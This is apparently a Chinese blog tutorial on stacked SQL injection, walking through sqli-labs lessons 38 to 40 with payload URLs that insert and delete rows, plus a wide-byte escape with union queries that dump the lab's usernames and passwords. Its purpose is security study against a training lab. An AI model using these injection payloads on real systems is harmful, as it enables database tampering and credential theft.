0x1 堆叠注入讲解

(1)前言

  国内有的称为堆查询注入,也有称之为堆叠注入。个人认为称之为堆叠注入更为准确。堆叠注入为攻击者提供了很多的攻击手段,通过添加一个新 的查询或者终止查询,可以达到修改数据和调用存储过程的目的。这种技术在SQL注入中还是比较频繁的。

(2)原理介绍

  在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句

例子:

select * from student whereid=1;create table test;
当执行查询后,第一条显示查询信息,第二条则创建一个test表。

0x2 msyql数据库实例介绍

(1)查询数据的同时再新建一个表

select * from student where  id =2;create table test like student;
这里加入like是复制student的表结构

查询数据库,确实多了个test表

(2)查询数据的同时再删除test表

 select * from student where  id =2;drop table test;

查看数据库,确实test被干掉了

0x3简单小结

   这样一来我们可以利用堆叠注入进行增删改查等操作,但对于各个数据库(mysql,sqlserver,oracle)等,除oracle不允许外,其他操作可行性同样,(具体其他实例可以参考:https://www.cnblogs.com/0nth3way/articles/7128189.html)

0x4开始注入  

构造一个payload:
http://192.168.232.135/sqli-labs/Less-38/?id=1';insert into users values(100,'test','test')--+

查看数据库

windows环境下可采用逃逸的方式: 

payload:
http://localhost:81/sqli-labs-master/Less-38/index.php?id=%FE' or 1=1 %23
http://localhost:81/sqli-labs-master/Less-38/index.php?id=%FE' union select 1,version(),database() %23
http://localhost:81/sqli-labs-master/Less-38/index.php?id=%FE' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23
http://localhost:81/sqli-labs-master/Less-38/index.php?id=%FE' union select 1,group_concat(username),group_concat(password) from security.users where 1 %23

0x5 第三十九关

同三十八关一样,只是没有了单引号闭合

不同点:
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
payload:
http://192.168.232.135/sqli-labs/Less-39/
?id=1;insert into users values(100,'test','test')%23
http://192.168.232.135/sqli-labs/Less-39/
?id=1;delete from users where id=100%23

0x6 第四十关

不同点:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

SQL注入之Sqli-labs系列第三十八关、第三十九关,第四十关(堆叠注入)的更多相关文章

  1. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  2. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  3. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  4. Sqli labs系列-less-5&6 报错注入法(上)

    在我一系列常规的测试后发现,第五关和第六关,是属于报错注入的关卡,两关的区别是一个是单引号一个是双引号...当然我是看了源码的.... 基于报错注入的方法,我早就忘的差不多了,,,我记的我最后一次基于 ...

  5. Sqli labs系列-less-5&6 报错注入法(下)

    我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...

  6. Sqli labs系列-less-4 这关好坑!!!

    这章,可能我总结开会比较长,图比较多,因为,我在做了一半,走进了一个死胡同,脑子,一下子没想开到底为啥.... 然后我自己想了好长时间也没想开,我也不想直接就去看源码,所以就先去百度了一下,结果一下子 ...

  7. 聊聊高并发(三十八)解析java.util.concurrent各个组件(十四) 理解Executor接口的设计

    JUC包中除了一系列的同步类之外,就是Executor运行框架相关的类.对于一个运行框架来说,能够分为两部分 1. 任务的提交 2. 任务的运行. 这是一个生产者消费者模式,提交任务的操作是生产者,运 ...

  8. sqli-labs less38-53(堆叠注入 order by之后相关注入)

    堆叠注入 less-38 less-39 less-40 less-41 less-42 less-43 less-44 less-45 考察order by相关注入 less-46 less-47 ...

  9. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

随机推荐

  1. C/C++与C#之间类型的对应

    最近在研究pos打印机相关功能, 调用winapi以及跨进程通信等,都涉及到类型之间的转换. C/C++ C# HANDLE, LPDWORD, LPVOID, void* IntPtr LPCTST ...

  2. 转入墙内:SAS HBA crossflashing or flashing to IT mode, Dell Perc H200 and H310

    Default firmware for this guide is:2118it.binVersion 20.00.07.00Release date: 11-FEB-16 所有资源已转到百度盘: ...

  3. 移动App测试中的最佳做法

    一说起软件测试,测试员想到肯定是去检查文件,功能,API,性能并确定软件是否安全,以及关于软件特定部分的其他事项.但是对于移动测试,测试员不得不基于用户移动使用模式考虑移动相关的功能. 本文是基于我的 ...

  4. git--编写好代码文件后更新到git仓库流程

    先说一下git仓库分类: Git分为三大部分存储区域1:工作区域(就是你打开编辑器的本地代码仓库)2:提交缓存区域(使用git add 命令暂时放置的区域)3:git远程仓库(使用git push命令 ...

  5. Yarn架构详解

    Yarn架构介绍Yarn/MRv2最基本的想法是将原JobTracker主要的资源管理和job调度/监视功能分开作为两个单独的守护进程.有一个全局的ResourceManager(RM)和每个Appl ...

  6. SpringMVC流程架构基础理论

    Spring web mvc和Struts2都属于表现层的框架 1. 用户发起request请求至控制器(Controller) 控制接收用户请求的数据,委托给模型进行处理 2. 控制器通过模型(Mo ...

  7. 《程序设计入门——C语言》翁恺老师 第五周编程练习记录

    1 素数和(5分) 题目内容: 我们认为2是第一个素数,3是第二个素数,5是第三个素数,依次类推. 现在,给定两个整数n和m,0<n<=m<=200,你的程序要计算第n个素数到第m个 ...

  8. c# Expression 扩展

    一.简介 当查询比较复杂时,需要很多判断或者跨方法传递参数时使用 二.扩展类   public static class DynamicLinqExpressions { public static ...

  9. Python_Mix*random模块,time模块,sys模块,os模块

    random模块 作用: 生成随机数(整数,小数,从列表中随机抽值,打乱列表顺序) 常用函数: random.random( )生成随机小数 random.uniform( )取一个范围之间的小数 r ...

  10. 20190219备份 java spring boot 学习链接(日/英)

    Building web applications with Spring Boot and Kotlin https://www.slideshare.net/masuda220/spring-82 ...